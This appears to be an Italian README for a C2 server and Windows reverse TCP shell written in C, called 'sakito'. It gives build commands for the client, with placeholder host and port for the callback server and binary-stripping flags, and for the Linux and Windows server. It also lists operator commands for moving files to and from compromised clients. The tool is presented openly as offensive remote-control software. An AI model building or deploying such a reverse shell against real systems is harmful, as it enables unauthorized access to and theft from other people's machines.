
Server c2 multi-thread, multi-OS/piattaforma (Linux/Windows) e client shell TCP inverso per Windows, entrambi scritti in C.
Server C2 multi-thread e multi-piattaforma (Linux/Windows) e client reverse TCP shell per Windows, entrambi scritti in C.
Compilazione del client reverse TCP shell con i686-w64-mingw32-gcc:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Compilazione del client reverse TCP shell con cl.exe nel prompt dei comandi per sviluppatori:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
Compilazione del server Linux con GCC:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Compilazione del server Windows con cl.exe nel prompt dei comandi per sviluppatori:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
Elenco dei comandi:
list: elenca le connessioni disponibili.
interact [id]: interagisci con il client.
download [filename]: scarica un file dal filesystem del client a quello del server.
upload [filename]: carica un file dal filesystem del server a quello del client.
background: metti il client in background.
exit: termina il client o l'host.
cd [dir]: cambia directory sul client o sull'host.